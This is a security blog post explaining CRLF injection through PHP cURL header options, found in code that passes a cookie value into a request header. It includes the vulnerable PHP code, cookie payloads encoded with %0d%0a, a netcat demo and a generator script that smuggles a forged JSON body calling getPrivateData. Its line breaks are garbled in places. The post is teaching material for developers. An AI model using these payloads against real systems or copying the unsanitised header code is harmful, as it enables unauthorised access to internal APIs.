CRLF Injection Into PHP’s cURL Options

I’ve added more detail here so it’s not just a straight copy and paste.

I like to do white-box testing when I can.

I’m not a very good black-box tester, but I’ve spent more than a decade reading and writing PHP — and made my fair share of mistakes along the way — so I tend to know what to look out for.

I was trawling through some source code and came across a function that looked a little bit like this:<?php// common.

phpfunction getTrialGroups(){ $trialGroups = 'default'; if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; } return explode(",", $trialGroups);}The system I was looking at had a concept of ‘Trial Groups’.

Every user session had a set of groups associated with it, stored as a comma-separated list in a cookie.

The idea was that when new features were launched they could be enabled for a small percentage of customers at first to de-risk the feature launch, or allow comparison of different variations on a feature (an approach known as A/B Testing).

The getTrialGroups() function simply read the cookie value, split the list apart and returned an array of trial groups for that user.

The lack of whitelisting in this function immediately caught my attention.

I grepped the rest of the codebase to find where the function was called so I could see if there was any unsafe use of its return value.

I can’t share the exact code, but I’ve written a rough approximation of one of the things I found:<?php// server.

php// Include common functionsrequire __DIR__.

'/common.

php';// Using the awesome httpbin.

org here to just reflect// our whole request back at us as JSON :)$ch = curl_init("http://httpbin.

org/post");// Make curl_exec return the response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);// Set the content type and pass through any trial groupscurl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " .

implode(",", getTrialGroups())]);// Call the 'getPublicData' RPC method on the internal APIcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => []]));// Return the response to the userecho curl_exec($ch);curl_close($ch);This code was calling the getPublicData method on an internal JSON API using the cURL library.

That API needed to know about the user’s trial groups so it could change its behaviour accordingly, and so the trial groups were being passed to the API in an X-Trial-Groups header.

The issue here is that when setting the CURLOPT_HTTPHEADER, the values are not checked for carriage return or line feed characters.

Because the getTrialGroups() function returns user-controllable data, it’s possible to inject arbitrary headers into the API request.

Demo TimeTo make things easier to follow, I’m going to run server.

php locally using PHP’s built-in web server:tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.

phpPHP 7.

2.

7-0ubuntu0.

18.

04.

2 Development Server started at Sun Jul 29 14:15:14 2018Listening on http://localhost:1234Document root is /home/tom/tmp/crlfPress Ctrl-C to quit.

Using the cURL command line utility we can send an example request that includes a trialGroups cookie:tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2' { "args": {}, "data": "{"method":"getPublicData","params":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.

org", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.

X.

X.

X", "url": "http://httpbin.

org/post"}In place of the internal API endpoint I’m using http://httpbin.

org/post, which returns a JSON document describing the POST request that was sent, including any POST data and headers that were in the request.

The important thing to note about the response is that the X-Trial-Groups header sent to httpbin.

org contains the A1,B2 string that was in the trialGroups cookie.

Let’s try some CRLF (Carriage Return Line Feed) injection then:tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true' { "args": {}, "data": "{"method":"getPublicData","params":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.

org", "X-Injected": "true", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.

X.

X.

X", "url": "http://httpbin.

org/post"}PHP automatically decodes URL-encoded sequences (e.

g.

%0d, %0a) in cookie values, so we can use a URL-encoded carriage return character (%0d) and line feed character (%0a) in the cookie value we send.

HTTP headers are separated by CRLF sequences, so when the PHP cURL library writes the request headers the X-Injected: true part of our payload is treated as a separate header.

Magic!HTTP RequestsWhat can you really do by injecting headers into the request? Well, truth be told: not very much in this case.

If we dig a little deeper into the structure of an HTTP request you’ll see that we can do more than just inject headers though; we can inject POST data too!To understand how the exploit will work, you need to know a little bit about HTTP requests.

Just about the most basic HTTP POST request you can do looks like this:POST /post HTTP/1.

1Host: httpbin.

orgConnection: closeContent-Length: 7thedataLet’s break it down line-by-line.

POST /post HTTP/1.

1The first line says to use the POST method to send a request to the /post endpoint, using HTTP version 1.

1.

Host: httpbin.

orgThis header tells the remote server that we are requesting a page on httpbin.

org.

This may seem redundant, but when you connect to an HTTP server you’re connecting to the IP address for the server, not the domain name.

If you don’t include a Host header in your request the server has no way to know what domain you typed into your browser’s address bar.

Connection: closeThis header asks the server to close the underlying TCP connection once it has finished sending its response.

Without this header the connection may stay open after the response has been sent.

Content-Length: 7The Content-Length header tells the server how many bytes of data will be sent in the request body.

This one is important :)There isn’t a mistake here; this empty-looking line contains nothing but a CRLF sequence.

It tells the server that we’re done sending headers and the request body is about to be sent.

thedataLastly we send the request body (AKA POST data).

Its length (in bytes) must match up with the Content-Length header we sent earlier because we told the server it would have to read that many bytes.

Let’s send this request to httpbin.

org by piping an echo command into netcat:tom@slim:~▶ echo -e "POST /post HTTP/1.

1?.Host: httpbin.

org.Connection: close.Content-Length: 7.thedata" | nc httpbin.

org 80HTTP/1.

1 200 OKConnection: closeServer: gunicorn/19.

9.

0Date: Sun, 29 Jul 2018 14:16:34 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.

1 vegur{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.

org" }, "json": null, "origin": "X.

X.

X.

X", "url": "http://httpbin.

org/post"}Everything works as expected.

We get some response headers, a CRLF sequence, and then the response body.

So, here comes the trick: what happens if you send more POST data than you said you would in your Content-Length header.Let’s try it:tom@slim:~▶ echo -e "POST /post HTTP/1.

1.Host: httpbin.

org.Connection: close.Content-Length: 7.thedata some more data" | nc httpbin.

org 80HTTP/1.

1 200 OKConnection: closeServer: gunicorn/19.

9.

0Date: Sun, 29 Jul 2018 14:20:10 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.

1 vegur{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.

org" }, "json": null, "origin": "X.

X.

X.

X", "url": "http://httpbin.

org/post"}We kept the Content-Length header the same and said we’d send 7 bytes, and added some more data to the request body, but the server only read the first 7 bytes.

And that is the trick we can use to actually craft an exploit.

The ExploitIt turns out that when you set the CURLOPT_HTTPHEADER option, not only can you inject headers by using a single CRLF sequence, you can inject POST data using a double CRLF sequence.

So here’s the plan:Craft our own JSON POST data that calls some method other than getPublicData; let’s say getPrivateDataGet the length of that data in bytesUsing a single CRLF sequence, inject a Content-Length header that instructs the server to only read that number of bytesInject two CRLF sequences, and then our malicious JSON as the POST dataIf all goes well, the legitimate JSONPOST data should be completely ignored by the internal API, in favour of our malicious JSON.

To make things easier on myself, I tend to write little scripts to generate these kinds of payloads; it reduces the chances that I’ll make a mistake and tie my brain in knots trying to figure out why it’s not working.

Here’s what I wrote:tom@slim:~▶ cat gencookie.

php <?php$postData = '{"method": "getPrivateData", "params": []}';$length = strlen($postData);$payload = "ignore.Content-Length: {$length}.{$postData}";echo "trialGroups=".

urlencode($payload);tom@slim:~▶ php gencookie.

php trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7DLet’s give it a try:tom@slim:~▶ curl -s localhost:1234 -b $(php gencookie.

php) { "args": {}, "data": "{"method": "getPrivateData", "params": []}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "42", "Content-Type": "application/json", "Host": "httpbin.

org", "X-Trial-Groups": "ignore" }, "json": { "method": "getPrivateData", "params": [] }, "origin": "X.

X.

X.

X", "url": "http://httpbin.

org/post"}Great success! We set the x-Trial-Groups header to ignore, injected a Content-Length header, and our own POST data.

The legitimate POST data was still sent, but it was completely ignored by the server :)This is the kind of bug that you’re unlikely to find doing black-box testing, but I think it’s still worth writing about because there is so much open source code in use these days, and it’s always good to educate people who write code about attack vectors they might not be aware of too.

Other VectorsSince finding this bug I’ve tried to keep an eye out for similar situations.

In my research I’ve found that CURLOPT_HTTPHEADER isn’t the only cURL option that’s vulnerable to the same attack.

The following options (and possibly others!) implicitly set headers on the request, and are vulnerable:CURLOPT_HEADERCURLOPT_COOKIECURLOPT_RANGECURLOPT_REFERERCURLOPT_USERAGENTCURLOPT_PROXYHEADERPlease do let me know if you find more :).

. More details

Leave a Reply